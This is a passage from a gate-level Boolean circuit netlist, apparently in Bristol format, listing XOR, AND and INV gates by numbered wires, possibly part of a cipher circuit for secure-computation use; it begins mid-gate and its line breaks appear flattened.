20040 20030 20029 AND +2 1 20029 20037 20027 XOR +2 1 20029 20047 20000 XOR +2 1 20000 19994 20021 XOR +2 1 33559 20000 19983 XOR +2 1 19983 19946 20028 XOR +2 1 20035 20027 20026 AND +2 1 20026 19996 19986 XOR +2 1 19986 19988 20025 XOR +2 1 20026 20050 19944 XOR +2 1 19983 19944 19936 XOR +2 1 19973 19936 19943 XOR +2 1 19940 19943 20024 XOR +2 1 19986 19939 20022 XOR +2 1 19936 19937 20020 XOR +2 1 20021 20058 20019 AND +2 1 20028 20057 20018 AND +2 1 20031 33558 20017 AND +2 1 20017 20019 19999 XOR +2 1 20022 20052 20016 AND +2 1 20025 20064 20015 AND +2 1 20035 20054 20014 AND +2 1 20014 20015 19953 XOR +2 1 20023 20055 20013 AND +2 1 20020 20053 20012 AND +2 1 20012 20015 19968 XOR +1 1 19968 19965 INV +2 1 20012 20013 19964 XOR +2 1 20024 20056 20011 AND +2 1 20021 20062 20010 AND +2 1 20028 20059 20009 AND +2 1 20031 20063 20008 AND +2 1 20022 20067 20007 AND +2 1 20007 20011 19984 XOR +2 1 20016 20007 19969 XOR +1 1 19984 19962 INV +2 1 20025 20060 20006 AND +2 1 20014 20006 19971 XOR +2 1 20035 20061 20005 AND +2 1 19962 20005 19961 XOR +2 1 19961 19999 19957 XOR +2 1 20023 20066 20004 AND +2 1 20004 19957 19960 XOR +2 1 20020 20068 20003 AND +2 1 20003 20004 19998 XOR +2 1 20009 19998 19980 XOR +2 1 20010 19980 19981 XOR +2 1 20018 19981 19985 XOR +2 1 20019 19985 19990 XOR +2 1 19971 19998 19967 XOR +2 1 19999 19967 19970 XOR +2 1 19969 19970 20072 XOR +2 1 19962 19967 19966 XOR +2 1 19965 19966 20071 XOR +2 1 19990 19964 20070 XOR +2 1 19980 19957 19956 XOR +2 1 20017 19985 19954 XOR +2 1 19953 19954 35241 XOR +2 1 20024 20065 20002 AND +2 1 20013 20002 19963 XOR +1 1 19963 19959 INV +2 1 19959 19960 20069 XOR +2 1 18208 18209 32684 XOR +2 1 18205 32684 18185 XOR +2 1 18206 18185 18145 XOR +2 1 18174 18145 35256 XOR +2 1 18201 18185 18151 XOR +1 1 18151 18148 INV +2 1 18148 18149 35253 XOR +2 1 35254 35253 6343 XOR +2 1 32684 18183 35255 XOR +2 1 20015 20016 32697 XOR +2 1 20012 32697 19992 XOR +2 1 20008 19992 19958 XOR +2 1 20013 19992 19952 XOR +2 1 19981 19952 35243 XOR +1 1 19958 19955 INV +2 1 19955 19956 35240 XOR +2 1 32697 19990 35242 XOR +2 1 23351 23352 32721 XOR +2 1 23348 32721 23328 XOR +2 1 23349 23328 23288 XOR +2 1 23317 23288 35228 XOR +2 1 23344 23328 23294 XOR +1 1 23294 23291 INV +2 1 23291 23292 35225 XOR +2 1 32721 23326 35227 XOR +1 1 15068 32897 INV +1 1 15065 32902 INV +1 1 15066 32903 INV +1 1 15067 32904 INV +1 1 18262 32945 INV +2 1 32945 35255 6558 XOR +1 1 18263 32946 INV +1 1 18264 32947 INV +1 1 18265 32948 INV +1 1 20070 32973 INV +1 1 20071 32974 INV +1 1 20072 32975 INV +1 1 20069 32980 INV +1 1 23407 33025 INV +1 1 23408 33026 INV +1 1 23405 33031 INV +1 1 23406 33032 INV +1 1 5040 33229 INV +2 1 33229 34845 5219 XOR +2 1 5219 5218 34749 XOR +2 1 34749 424 33469 XOR +2 1 33467 33469 20251 XOR +2 1 20251 20346 20331 XOR +2 1 33466 33469 20344 XOR +2 1 20344 20267 20340 XOR +2 1 20251 20257 20339 XOR +2 1 20267 20339 20337 XOR +2 1 20250 20344 20336 XOR +2 1 33462 20336 20335 XOR +2 1 20253 20251 20213 XOR +2 1 20250 20213 20334 XOR +2 1 33469 33463 20345 XOR +2 1 33469 33464 20343 XOR +2 1 20336 20340 20329 AND +2 1 20329 20253 20256 XOR +2 1 20337 20335 20328 AND +2 1 20345 20330 20326 AND +2 1 20326 20251 20255 XOR +2 1 20339 20332 20324 AND +2 1 20344 20333 20323 AND +2 1 20323 20252 20254 XOR +2 1 20256 20254 20260 XOR +2 1 33469 20260 20265 XOR +2 1 20346 20331 20322 AND +2 1 20322 20328 20274 XOR +2 1 20274 20265 20320 XOR +2 1 20322 20323 20226 XOR +2 1 20226 20227 20273 XOR +2 1 20273 20255 20272 XOR +2 1 20325 20272 20319 XOR +2 1 20343 20334 20321 AND +2 1 20321 20324 20275 XOR +2 1 20321 20327 20279 XOR +2 1 20279 20251 20266 XOR +2 1 20274 20266 20317 XOR +2 1 20322 20275 20269 XOR +2 1 20255 20275 20229 XOR +2 1 20229 20254 20318 XOR +2 1 20260 20279 20228 XOR +2 1 33467 20228 20271 XOR +2 1 20325 20269 20225 XOR +2 1 33463 20225 20312 XOR +2 1 20320 20319 20316 AND +2 1 20316 20271 20311 XOR +2 1 20316 20318 20315 XOR +2 1 20317 20315 20314 AND +2 1 20314 20271 20313 XOR +2 1 20314 20326 20220 XOR +2 1 20220 20256 20216 XOR +2 1 33469 20216 20219 XOR +2 1 20314 20265 20217 XOR +2 1 33467 20216 20215 XOR +2 1 20311 20312 20310 AND +2 1 20310 20318 20309 XOR +2 1 20316 20310 20308 XOR +2 1 20310 20269 20224 XOR +2 1 20310 20327 20223 XOR +2 1 20223 20324 20218 XOR +2 1 20218 20219 20301 XOR +2 1 20318 20308 20307 AND +2 1 20307 20315 20305 XOR +2 1 20307 20325 20278 XOR +2 1 20278 20272 20299 XOR +2 1 33463 20278 20261 XOR +2 1 20261 20224 20306 XOR +2 1 20313 20305 20304 AND +2 1 20304 20274 20264 XOR +2 1 20264 20266 20303 XOR +2 1 20304 20328 20222 XOR +2 1 20261 20222 20214 XOR +2 1 20251 20214 20221 XOR +2 1 20218 20221 20302 XOR +2 1 20264 20217 20300 XOR +2 1 20214 20215 20298 XOR +2 1 20299 20336 20297 AND +2 1 20306 20335 20296 AND +2 1 20309 33462 20295 AND +2 1 20295 20297 20277 XOR +2 1 20300 20330 20294 AND +2 1 20303 20342 20293 AND +2 1 20313 20332 20292 AND +2 1 20292 20293 20231 XOR +2 1 20301 20333 20291 AND +2 1 20298 20331 20290 AND +2 1 20290 20293 20246 XOR +1 1 20246 20243 INV +2 1 20290 20291 20242 XOR +2 1 20302 20334 20289 AND +2 1 20299 20340 20288 AND +2 1 20306 20337 20287 AND +2 1 20309 20341 20286 AND +2 1 20300 20345 20285 AND +2 1 20285 20289 20262 XOR +2 1 20294 20285 20247 XOR +1 1 20262 20240 INV +2 1 20303 20338 20284 AND +2 1 20292 20284 20249 XOR +2 1 20313 20339 20283 AND +2 1 20240 20283 20239 XOR +2 1 20239 20277 20235 XOR +2 1 20301 20344 20282 AND +2 1 20282 20235 20238 XOR +2 1 20298 20346 20281 AND +2 1 20281 20282 20276 XOR +2 1 20287 20276 20258 XOR +2 1 20288 20258 20259 XOR +2 1 20296 20259 20263 XOR +2 1 20297 20263 20268 XOR +2 1 20249 20276 20245 XOR +2 1 20277 20245 20248 XOR +2 1 20247 20248 20350 XOR +2 1 20240 20245 20244 XOR +2 1 20243 20244 20349 XOR +2 1 20268 20242 20348 XOR +2 1 20258 20235 20234 XOR +2 1 20295 20263 20232 XOR +2 1 20231 20232 35057 XOR +2 1 35053 35057 5842 XOR +2 1 20302 20343 20280 AND +2 1 20291 20280 20241 XOR +1 1 20241 20237 INV +2 1 20237 20238 20347 XOR +2 1 33229 34829 5202 XOR +2 1 5203 5202 34738 XOR +2 1 34738 435 33458 XOR +2 1 33458 33460 18307 XOR +2 1 33458 33461 18398 XOR +2 1 33456 33458 18400 XOR +2 1 18305 18400 18385 XOR +2 1 18307 18305 18267 XOR +2 1 18307 33459 18266 XOR +2 1 33454 18266 18395 XOR +2 1 18395 33454 18381 AND +2 1 18400 18385 18376 AND +2 1 33229 32755 5196 XOR +2 1 5197 5196 5198 XOR +1 1 5198 34735 INV +2 1 34735 438 33455 XOR +2 1 33455 18396 18392 XOR +2 1 33455 33456 18321 XOR +2 1 18321 18393 18391 XOR +2 1 18398 18321 18394 XOR +2 1 33461 33455 18399 XOR +2 1 18396 18392 18379 AND +2 1 33229 34828 5200 XOR +2 1 5201 5200 34737 XOR +2 1 34737 436 33457 XOR +2 1 33455 33457 18304 XOR +2 1 33456 18304 18306 XOR +2 1 33460 18306 18387 XOR +2 1 33459 18306 18384 XOR +2 1 18311 18306 18386 XOR +2 1 18304 18398 18390 XOR +2 1 33454 18390 18389 XOR +2 1 33457 33456 18281 XOR +2 1 18304 18267 18388 XOR +2 1 18390 18394 18383 AND +2 1 18383 18307 18310 XOR +2 1 18391 18389 18382 AND +2 1 18376 18382 18328 XOR +2 1 18399 18384 18380 AND +2 1 18380 18305 18309 XOR +2 1 18393 18386 18378 AND +2 1 18398 18387 18377 AND +2 1 18377 18306 18308 XOR +2 1 18310 18308 18314 XOR +2 1 33461 18314 18319 XOR +2 1 18328 18319 18374 XOR +2 1 18376 18377 18280 XOR +2 1 18280 18281 18327 XOR +2 1 18327 18309 18326 XOR +2 1 18379 18326 18373 XOR +2 1 18397 18388 18375 AND +2 1 18375 18378 18329 XOR +2 1 18375 18381 18333 XOR +2 1 18333 18305 18320 XOR +2 1 18328 18320 18371 XOR +2 1 18376 18329 18323 XOR +2 1 18309 18329 18283 XOR +2 1 18283 18308 18372 XOR +2 1 18314 18333 18282 XOR +2 1 33459 18282 18325 XOR +2 1 18379 18323 18279 XOR +2 1 33455 18279 18366 XOR +2 1 18374 18373 18370 AND +2 1 18370 18325 18365 XOR +2 1 18370 18372 18369 XOR +2 1 18371 18369 18368 AND +2 1 18368 18325 18367 XOR +2 1 18368 18380 18274 XOR +2 1 18274 18310 18270 XOR +2 1 33461 18270 18273 XOR +2 1 18368 18319 18271 XOR +2 1 33459 18270 18269 XOR +2 1 18365 18366 18364 AND +2 1 18364 18372 18363 XOR +2 1 18370 18364 18362 XOR +2 1 18364 18323 18278 XOR +2 1 18364 18381 18277 XOR +2 1 18277 18378 18272 XOR +2 1 18272 18273 18355 XOR +2 1 18372 18362 18361 AND +2 1 18361 18369 18359 XOR +2 1 18361 18379 18332 XOR +2 1 18332 18326 18353 XOR +2 1 33455 18332 18315 XOR +2 1 18315 18278 18360 XOR +2 1 18367 18359 18358 AND +2 1 18358 18328 18318 XOR +2 1 18318 18320 18357 XOR +2 1 18358 18382 18276 XOR +2 1 18315 18276 18268 XOR +2 1 18305 18268 18275 XOR +2 1 18272 18275 18356 XOR +2 1 18318 18271 18354 XOR +2 1 18268 18269 18352 XOR +2 1 18353 18390 18351 AND +2 1 18360 18389 18350 AND +2 1 18363 33454 18349 AND +2 1 18349 18351 18331 XOR +2 1 18354 18384 18348 AND +2 1 18357 18396 18347 AND +2 1 18367 18386 18346 AND +2 1 18346 18347 18285 XOR +2 1 18355 18387 18345 AND +2 1 18352 18385 18344 AND +2 1 18344 18347 18300 XOR +1 1 18300 18297 INV +2 1 18344 18345 18296 XOR +2 1 18356 18388 18343 AND +2 1 18353 18394 18342 AND +2 1 18360 18391 18341 AND +2 1 18363 18395 18340 AND +2 1 18354 18399 18339 AND +2 1 18339 18343 18316 XOR +2 1 18348 18339 18301 XOR +1 1 18316 18294 INV +2 1 18357 18392 18338 AND +2 1 18346 18338 18303 XOR +2 1 18367 18393 18337 AND +2 1 18294 18337 18293 XOR +2 1 18293 18331 18289 XOR +2 1 18355 18398 18336 AND +2 1 18336 18289 18292 XOR +2 1 18352 18400 18335 AND +2 1 18335 18336 18330 XOR +2 1 18341 18330 18312 XOR +2 1 18342 18312 18313 XOR +2 1 18350 18313 18317 XOR +2 1 18351 18317 18322 XOR +2 1 18303 18330 18299 XOR +2 1 18331 18299 18302 XOR +2 1 18301 18302 18404 XOR +2 1 18294 18299 18298 XOR +2 1 18297 18298 18403 XOR +2 1 18322 18296 18402 XOR +2 1 18312 18289 18288 XOR +2 1 18349 18317 18286 XOR +2 1 18285 18286 34996 XOR +2 1 18356 18397 18334 AND +2 1 18345 18334 18295 XOR +1 1 18295 18291 INV +2 1 18291 18292 18401 XOR +1 1 18402 34999 INV +1 1 18401 34998 INV +2 1 32985 34998 5881 XOR +2 1 32986 34999 5879 XOR +2 1 35003 34996 5616 XOR +2 1 34992 34996 5893 XOR +2 1 32773 18401 5756 XOR +1 1 5893 5775 INV +2 1 32774 18402 5754 XOR +2 1 18347 18348 32685 XOR +2 1 18344 32685 18324 XOR +2 1 18345 18324 18284 XOR +2 1 18313 18284 35000 XOR +2 1 34994 35000 5829 XOR +2 1 5829 34992 5619 XOR +1 1 5829 5922 INV +2 1 35000 35005 5830 XOR +2 1 18340 18324 18290 XOR +2 1 5922 34993 5774 XOR +1 1 5830 5764 INV +1 1 18290 18287 INV +2 1 18287 18288 34995 XOR +2 1 34991 34995 5620 XOR +2 1 5619 5620 5898 XOR +2 1 34995 35002 5868 XOR +1 1 5868 5751 INV +2 1 5893 5751 5762 XOR +2 1 5751 34991 5749 XOR +2 1 32685 18322 34997 XOR +2 1 34993 34997 5884 XOR +2 1 35004 34997 5758 XOR +2 1 20293 20294 32699 XOR +2 1 32699 20268 35058 XOR +2 1 35058 35057 5630 XOR +2 1 20290 32699 20270 XOR +2 1 20286 20270 20236 XOR +1 1 20236 20233 INV +2 1 20233 20234 35056 XOR +2 1 20291 20270 20230 XOR +2 1 20259 20230 35059 XOR +2 1 35055 35059 5837 XOR +2 1 5837 35056 5576 XOR +2 1 5576 5577 5916 XOR +1 1 18403 32951 INV +2 1 32951 35001 5870 XOR +2 1 5764 32951 5768 XOR +1 1 18404 32952 INV +2 1 32952 32775 5869 XOR +2 1 5922 32952 5617 XOR +2 1 5617 5618 5899 XOR +1 1 20347 32981 INV +2 1 32955 32981 5847 XOR +1 1 5847 5818 INV +1 1 20348 32982 INV +2 1 32982 32956 5789 XOR +2 1 32982 32981 5778 XOR +1 1 20349 32983 INV +2 1 32983 32949 5796 XOR +1 1 20350 32984 INV +2 1 32984 32950 5575 XOR +1 1 5045 33236 INV +2 1 33236 34847 5085 XOR +2 1 5086 5085 5087 XOR +1 1 5087 34785 INV +2 1 34785 388 33505 XOR +2 1 33236 32916 5082 XOR +2 1 5083 5082 34783 XOR +2 1 34783 390 33503 XOR +2 1 33236 32768 5054 XOR +2 1 5054 5053 34765 XOR +2 1 34765 408 33485 XOR +2 1 33483 33485 21919 XOR +2 1 21919 22014 21999 XOR +2 1 33482 33485 22012 XOR +2 1 22012 21935 22008 XOR +2 1 21919 21925 22007 XOR +2 1 21935 22007 22005 XOR +2 1 21918 22012 22004 XOR +2 1 33478 22004 22003 XOR +2 1 21921 21919 21881 XOR +2 1 21918 21881 22002 XOR +2 1 33485 33479 22013 XOR +2 1 33485 33480 22011 XOR +2 1 22004 22008 21997 AND +2 1 21997 21921 21924 XOR +2 1 22005 22003 21996 AND +2 1 22013 21998 21994 AND +2 1 21994 21919 21923 XOR +2 1 22007 22000 21992 AND +2 1 22012 22001 21991 AND +2 1 21991 21920 21922 XOR +2 1 21924 21922 21928 XOR +2 1 33485 21928 21933 XOR +2 1 22014 21999 21990 AND +2 1 21990 21996 21942 XOR +2 1 21942 21933 21988 XOR +2 1 21990 21991 21894 XOR +2 1 21894 21895 21941 XOR +2 1 21941 21923 21940 XOR +2 1 21993 21940 21987 XOR +2 1 22011 22002 21989 AND +2 1 21989 21992 21943 XOR +2 1 21989 21995 21947 XOR +2 1 21947 21919 21934 XOR +2 1 21942 21934 21985 XOR +2 1 21990 21943 21937 XOR +2 1 21923 21943 21897 XOR +2 1 21897 21922 21986 XOR +2 1 21928 21947 21896 XOR +2 1 33483 21896 21939 XOR +2 1 21993 21937 21893 XOR +2 1 33479 21893 21980 XOR +2 1 21988 21987 21984 AND +2 1 21984 21939 21979 XOR +2 1 21984 21986 21983 XOR +2 1 21985 21983 21982 AND +2 1 21982 21939 21981 XOR +2 1 21982 21994 21888 XOR +2 1 21888 21924 21884 XOR +2 1 33485 21884 21887 XOR +2 1 21982 21933 21885 XOR +2 1 33483 21884 21883 XOR +2 1 21979 21980 21978 AND +2 1 21978 21986 21977 XOR +2 1 21984 21978 21976 XOR +2 1 21978 21937 21892 XOR +2 1 21978 21995 21891 XOR +2 1 21891 21992 21886 XOR +2 1 21886 21887 21969 XOR +2 1 21986 21976 21975 AND +2 1 21975 21983 21973 XOR +2 1 21975 21993 21946 XOR +2 1 21946 21940 21967 XOR +2 1 33479 21946 21929 XOR +2 1 21929 21892 21974 XOR +2 1 21981 21973 21972 AND +2 1 21972 21942 21932 XOR +2 1 21932 21934 21971 XOR +2 1 21972 21996 21890 XOR +2 1 21929 21890 21882 XOR +2 1 21919 21882 21889 XOR +2 1 21886 21889 21970 XOR +2 1 21932 21885 21968 XOR +2 1 21882 21883 21966 XOR +2 1 21967 22004 21965 AND +2 1 21974 22003 21964 AND +2 1 21977 33478 21963 AND +2 1 21963 21965 21945 XOR +2 1 21968 21998 21962 AND +2 1 21971 22010 21961 AND +2 1 21981 22000 21960 AND +2 1 21960 21961 21899 XOR +2 1 21969 22001 21959 AND +2 1 21966 21999 21958 AND +2 1 21958 21961 21914 XOR +1 1 21914 21911 INV +2 1 21958 21959 21910 XOR +2 1 21970 22002 21957 AND +2 1 21967 22008 21956 AND +2 1 21974 22005 21955 AND +2 1 21977 22009 21954 AND +2 1 21968 22013 21953 AND +2 1 21953 21957 21930 XOR +2 1 21962 21953 21915 XOR +1 1 21930 21908 INV +2 1 21971 22006 21952 AND +2 1 21960 21952 21917 XOR +2 1 21981 22007 21951 AND +2 1 21908 21951 21907 XOR +2 1 21907 21945 21903 XOR +2 1 21969 22012 21950 AND +2 1 21950 21903 21906 XOR +2 1 21966 22014 21949 AND +2 1 21949 21950 21944 XOR +2 1 21955 21944 21926 XOR +2 1 21956 21926 21927 XOR +2 1 21964 21927 21931 XOR +2 1 21965 21931 21936 XOR +2 1 21917 21944 21913 XOR +2 1 21945 21913 21916 XOR +2 1 21915 21916 22018 XOR +2 1 21908 21913 21912 XOR +2 1 21911 21912 22017 XOR +2 1 21936 21910 22016 XOR +2 1 21926 21903 21902 XOR +2 1 21963 21931 21900 XOR +2 1 21899 21900 35029 XOR +2 1 35029 35034 5875 XOR +1 1 5875 5642 INV +2 1 35035 35029 5606 XOR +2 1 21970 22011 21948 AND +2 1 21959 21948 21909 XOR +1 1 21909 21905 INV +2 1 21905 21906 22015 XOR +2 1 33503 33505 23447 XOR +2 1 33504 23447 23449 XOR +2 1 33508 23449 23530 XOR +2 1 33507 23449 23527 XOR +2 1 23454 23449 23529 XOR +2 1 33503 23539 23535 XOR +2 1 23447 23541 23533 XOR +2 1 33502 23533 23532 XOR +2 1 33503 33504 23464 XOR +2 1 23464 23536 23534 XOR +2 1 23541 23464 23537 XOR +2 1 33505 33504 23424 XOR +2 1 23447 23410 23531 XOR +2 1 33509 33503 23542 XOR +2 1 23533 23537 23526 AND +2 1 23526 23450 23453 XOR +2 1 23534 23532 23525 AND +2 1 23519 23525 23471 XOR +2 1 23542 23527 23523 AND +2 1 23523 23448 23452 XOR +2 1 23539 23535 23522 AND +2 1 23536 23529 23521 AND +2 1 23541 23530 23520 AND +2 1 23520 23449 23451 XOR +2 1 23453 23451 23457 XOR +2 1 33509 23457 23462 XOR +2 1 23471 23462 23517 XOR +2 1 23519 23520 23423 XOR +2 1 23423 23424 23470 XOR +2 1 23470 23452 23469 XOR +2 1 23522 23469 23516 XOR +2 1 23540 23531 23518 AND +2 1 23518 23521 23472 XOR +2 1 23518 23524 23476 XOR +2 1 23476 23448 23463 XOR +2 1 23471 23463 23514 XOR +2 1 23519 23472 23466 XOR +2 1 23452 23472 23426 XOR +2 1 23426 23451 23515 XOR +2 1 23457 23476 23425 XOR +2 1 33507 23425 23468 XOR +2 1 23522 23466 23422 XOR +2 1 33503 23422 23509 XOR +2 1 23517 23516 23513 AND +2 1 23513 23468 23508 XOR +2 1 23513 23515 23512 XOR +2 1 23514 23512 23511 AND +2 1 23511 23468 23510 XOR +2 1 23511 23523 23417 XOR +2 1 23417 23453 23413 XOR +2 1 33509 23413 23416 XOR +2 1 23511 23462 23414 XOR +2 1 33507 23413 23412 XOR +2 1 23508 23509 23507 AND +2 1 23507 23515 23506 XOR +2 1 23513 23507 23505 XOR +2 1 23507 23466 23421 XOR +2 1 23507 23524 23420 XOR +2 1 23420 23521 23415 XOR +2 1 23415 23416 23498 XOR +2 1 23515 23505 23504 AND +2 1 23504 23512 23502 XOR +2 1 23504 23522 23475 XOR +2 1 23475 23469 23496 XOR +2 1 33503 23475 23458 XOR +2 1 23458 23421 23503 XOR +2 1 23510 23502 23501 AND +2 1 23501 23471 23461 XOR +2 1 23461 23463 23500 XOR +2 1 23501 23525 23419 XOR +2 1 23458 23419 23411 XOR +2 1 23448 23411 23418 XOR +2 1 23415 23418 23499 XOR +2 1 23461 23414 23497 XOR +2 1 23411 23412 23495 XOR +2 1 23496 23533 23494 AND +2 1 23503 23532 23493 AND +2 1 23506 33502 23492 AND +2 1 23492 23494 23474 XOR +2 1 23497 23527 23491 AND +2 1 23500 23539 23490 AND +2 1 23510 23529 23489 AND +2 1 23489 23490 23428 XOR +2 1 23498 23530 23488 AND +2 1 23495 23528 23487 AND +2 1 23487 23490 23443 XOR +1 1 23443 23440 INV +2 1 23487 23488 23439 XOR +2 1 23499 23531 23486 AND +2 1 23496 23537 23485 AND +2 1 23503 23534 23484 AND +2 1 23506 23538 23483 AND +2 1 23497 23542 23482 AND +2 1 23482 23486 23459 XOR +2 1 23491 23482 23444 XOR +1 1 23459 23437 INV +2 1 23500 23535 23481 AND +2 1 23489 23481 23446 XOR +2 1 23510 23536 23480 AND +2 1 23437 23480 23436 XOR +2 1 23436 23474 23432 XOR +2 1 23498 23541 23479 AND +2 1 23479 23432 23435 XOR +2 1 23495 23543 23478 AND +2 1 23478 23479 23473 XOR +2 1 23484 23473 23455 XOR +2 1 23485 23455 23456 XOR +2 1 23493 23456 23460 XOR +2 1 23494 23460 23465 XOR +2 1 23446 23473 23442 XOR +2 1 23474 23442 23445 XOR +2 1 23444 23445 23547 XOR +2 1 23437 23442 23441 XOR +2 1 23440 23441 23546 XOR +2 1 23465 23439 23545 XOR +2 1 23455 23432 23431 XOR +2 1 23492 23460 23429 XOR +2 1 23428 23429 35061 XOR +2 1 23499 23540 23477 AND +2 1 23488 23477 23438 XOR +1 1 23438 23434 INV +2 1 23434 23435 23544 XOR +2 1 21961 21962 32711 XOR +2 1 32711 21936 35030 XOR +2 1 35030 35035 5867 XOR +1 1 5867 5639 INV +2 1 25641 35030 5683 XOR +2 1 21958 32711 21938 XOR +2 1 21954 21938 21904 XOR +1 1 21904 21901 INV +2 1 21901 21902 35028 XOR +2 1 5604 35028 5603 XOR +2 1 35028 35033 5882 XOR +1 1 5882 5658 INV +2 1 21959 21938 21898 XOR +2 1 21927 21898 35031 XOR +2 1 35031 35038 5827 XOR +2 1 23490 23491 32722 XOR +2 1 23487 32722 23467 XOR +2 1 23483 23467 23433 XOR +2 1 23488 23467 23427 XOR +2 1 23456 23427 35063 XOR +2 1 35059 35063 5822 XOR +2 1 5822 35061 5629 XOR +2 1 5629 5630 5894 XOR +1 1 5822 5921 INV +2 1 5921 32983 5785 XOR +1 1 23433 23430 INV +2 1 23430 23431 35060 XOR +2 1 35061 35060 5591 XOR +2 1 35056 35060 5840 XOR +2 1 5842 5840 5781 XOR +2 1 32722 23465 35062 XOR +2 1 35058 35062 5839 XOR +2 1 5847 5839 5779 XOR +2 1 5837 35062 5794 XOR +1 1 22018 33005 INV +2 1 25643 33005 5600 XOR +2 1 33005 33068 5890 XOR +2 1 5890 5831 5659 XOR +1 1 22015 33010 INV +2 1 33010 35036 5860 XOR +2 1 25642 33010 5678 XOR +1 1 22016 33011 INV +2 1 35038 33011 5675 XOR +2 1 33011 35037 5853 XOR +1 1 22017 33012 INV +2 1 5611 33012 5686 XOR +2 1 33012 35032 5889 XOR +1 1 23546 33029 INV +2 1 5837 33029 5574 XOR +2 1 5574 5575 5917 XOR +2 1 33029 35052 5632 XOR +2 1 32983 33029 5852 XOR +1 1 23547 33030 INV +2 1 32984 33030 5872 XOR +2 1 33030 32949 5589 XOR +1 1 23544 33035 INV +2 1 5818 33035 5816 XOR +1 1 23545 33036 INV +2 1 32982 33036 5845 XOR +2 1 5845 32955 5800 XOR +2 1 5921 33036 5813 XOR +1 1 5827 33228 INV +2 1 33228 35029 5668 XOR +2 1 33228 33012 5672 XOR +2 1 33228 35030 5666 XOR +1 1 5039 33237 INV +2 1 33237 34803 5120 XOR +2 1 5121 5120 34690 XOR +2 1 34690 483 33410 XOR +2 1 33410 33412 20948 XOR +2 1 33410 33413 21039 XOR +2 1 21039 20962 21035 XOR +2 1 33408 33410 21041 XOR +2 1 20946 21041 21026 XOR +2 1 20948 20946 20908 XOR +2 1 20948 33411 20907 XOR +2 1 33406 20907 21036 XOR +2 1 21036 33406 21022 AND +2 1 21041 21026 21017 AND +2 1 33237 34805 5245 XOR +2 1 5245 5244 4971 XOR +2 1 4971 4974 34689 XOR +2 1 34689 484 33409 XOR +2 1 33407 33409 20945 XOR +2 1 33408 20945 20947 XOR +2 1 33412 20947 21028 XOR +2 1 33411 20947 21025 XOR +2 1 20952 20947 21027 XOR +2 1 20945 21039 21031 XOR +2 1 33406 21031 21030 XOR +2 1 33409 33408 20922 XOR +2 1 20945 20908 21029 XOR +2 1 21031 21035 21024 AND +2 1 21024 20948 20951 XOR +2 1 21032 21030 21023 AND +2 1 21017 21023 20969 XOR +2 1 21040 21025 21021 AND +2 1 21021 20946 20950 XOR +2 1 21034 21027 21019 AND +2 1 21039 21028 21018 AND +2 1 21018 20947 20949 XOR +2 1 20951 20949 20955 XOR +2 1 33413 20955 20960 XOR +2 1 20969 20960 21015 XOR +2 1 21017 21018 20921 XOR +2 1 20921 20922 20968 XOR +2 1 20968 20950 20967 XOR +2 1 21020 20967 21014 XOR +2 1 21038 21029 21016 AND +2 1 21016 21019 20970 XOR +2 1 21016 21022 20974 XOR +2 1 20974 20946 20961 XOR +2 1 20969 20961 21012 XOR +2 1 21017 20970 20964 XOR +2 1 20950 20970 20924 XOR +2 1 20924 20949 21013 XOR +2 1 20955 20974 20923 XOR +2 1 33411 20923 20966 XOR +2 1 21020 20964 20920 XOR +2 1 33407 20920 21007 XOR +2 1 21015 21014 21011 AND +2 1 21011 20966 21006 XOR +2 1 21011 21013 21010 XOR +2 1 21012 21010 21009 AND +2 1 21009 20966 21008 XOR +2 1 21009 21021 20915 XOR +2 1 20915 20951 20911 XOR +2 1 33413 20911 20914 XOR +2 1 21009 20960 20912 XOR +2 1 33411 20911 20910 XOR +2 1 21006 21007 21005 AND +2 1 21005 21013 21004 XOR +2 1 21011 21005 21003 XOR +2 1 21005 20964 20919 XOR +2 1 21005 21022 20918 XOR +2 1 20918 21019 20913 XOR +2 1 20913 20914 20996 XOR +2 1 21013 21003 21002 AND +2 1 21002 21010 21000 XOR +2 1 21002 21020 20973 XOR +2 1 20973 20967 20994 XOR +2 1 33407 20973 20956 XOR +2 1 20956 20919 21001 XOR +2 1 21008 21000 20999 AND +2 1 20999 20969 20959 XOR +2 1 20959 20961 20998 XOR +2 1 20999 21023 20917 XOR +2 1 20956 20917 20909 XOR +2 1 20946 20909 20916 XOR +2 1 20913 20916 20997 XOR +2 1 20959 20912 20995 XOR +2 1 20909 20910 20993 XOR +2 1 20994 21031 20992 AND +2 1 21001 21030 20991 AND +2 1 21004 33406 20990 AND +2 1 20990 20992 20972 XOR +2 1 20995 21025 20989 AND +2 1 20998 21037 20988 AND +2 1 21008 21027 20987 AND +2 1 20987 20988 20926 XOR +2 1 20996 21028 20986 AND +2 1 20993 21026 20985 AND +2 1 20985 20988 20941 XOR +1 1 20941 20938 INV +2 1 20985 20986 20937 XOR +2 1 20997 21029 20984 AND +2 1 20994 21035 20983 AND +2 1 21001 21032 20982 AND +2 1 21004 21036 20981 AND +2 1 20995 21040 20980 AND +2 1 20980 20984 20957 XOR +2 1 20989 20980 20942 XOR +1 1 20957 20935 INV +2 1 20998 21033 20979 AND +2 1 20987 20979 20944 XOR +2 1 21008 21034 20978 AND +2 1 20935 20978 20934 XOR +2 1 20934 20972 20930 XOR +2 1 20996 21039 20977 AND +2 1 20977 20930 20933 XOR +2 1 20993 21041 20976 AND +2 1 20976 20977 20971 XOR +2 1 20982 20971 20953 XOR +2 1 20983 20953 20954 XOR +2 1 20991 20954 20958 XOR +2 1 20992 20958 20963 XOR +2 1 20944 20971 20940 XOR +2 1 20972 20940 20943 XOR +2 1 20942 20943 21045 XOR +2 1 20935 20940 20939 XOR +2 1 20938 20939 21044 XOR +2 1 20963 20937 21043 XOR +2 1 21043 35000 5661 XOR +2 1 20953 20930 20929 XOR +2 1 20990 20958 20927 XOR +2 1 20926 20927 35007 XOR +2 1 35007 34997 5579 XOR +2 1 35003 35007 5883 XOR +2 1 5898 5883 34874 XOR +2 1 34874 372 33521 XOR +2 1 20997 21038 20975 AND +2 1 20986 20975 20936 XOR +1 1 20936 20932 INV +2 1 20932 20933 21042 XOR +1 1 21043 35009 INV +2 1 32774 35009 5873 XOR +2 1 5873 32985 5680 XOR +2 1 5764 35007 5763 XOR +2 1 5762 5763 34882 XOR +2 1 34882 364 33529 XOR +2 1 5873 5829 5742 XOR +2 1 35005 5742 34894 XOR +2 1 34894 352 33541 XOR +2 1 5881 5873 5771 XOR +2 1 32986 5771 34877 XOR +2 1 34877 369 33524 XOR +2 1 5879 21043 5755 XOR +2 1 5755 5756 34885 XOR +2 1 34885 361 33532 XOR +2 1 5884 5883 5748 XOR +1 1 5748 5746 INV +2 1 33237 32740 5208 XOR +2 1 5208 5207 34669 XOR +2 1 34669 504 33389 XOR +2 1 33387 33389 22336 XOR 